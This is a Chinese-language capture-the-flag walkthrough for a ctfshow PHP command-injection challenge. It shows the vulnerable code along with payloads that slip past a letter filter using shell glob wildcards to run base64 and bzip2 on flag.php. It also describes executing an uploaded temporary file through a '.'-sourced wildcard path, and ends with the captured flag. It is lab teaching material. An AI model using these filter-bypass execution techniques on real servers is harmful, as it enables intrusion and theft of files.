目录
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
- system($c);
- }
- }else{
- highlight_file(__FILE__);
- }
过滤了所有字母,下意识想到用异或运算构造字符,但是法相不太行,最后看了大佬的题解发现是构造rce,或者利用目录特性来做
/bin/base64 以base64加密输出文件,并且/???/????64可以定位到,所以
payload: /?c=/???/????64 ????.???
第二种:
/usr/bin/bzip2,将文件压缩为文件名.bz2可以使用/???/???/????2 访问到
payload: /?c=/???/???/????2 ????.???
然后访问/flag.php.bz2
下载后打开
拿到flag
第一步先写一个上传的网页,因为php中会把上传的文件先放到临时文件中,前面XSS有提到,又因为.没被过滤,所以可以上传一个命令文件,使用.执行,临时文件一般放在/tmp/文件,且命名规则为php加5个小写字母加一个可能为大写的字母,可以通过 . /???/????????[@-]]来访问,[@-]]是匹配大写字母用的
- "en">
- "UTF-8">
- "viewport" content="width=device-width, initial-scale=1.0">
-
POST数据包POC -
- "file" name="file" id="file">
- "submit" name="submit" value="提交">
使用脚本向目标网站上传一个1.txt,抓包
修改内容如下,加一个参数用来执行
文件内容为:##/bin/sh调用控制台 +ls
发到重发器上,如果没有结果则再发送一次,因为最后一个字母不一定是大写的,所以要刷概率
结果出来啦
最后使用 cat flag.php,因为我前面给它压缩了变成了flag.php.bz2,所以cat到一堆乱码,就不展示了
ctfshow{ff85d8ef-05f2-4e62-a314-3e05ce5351df}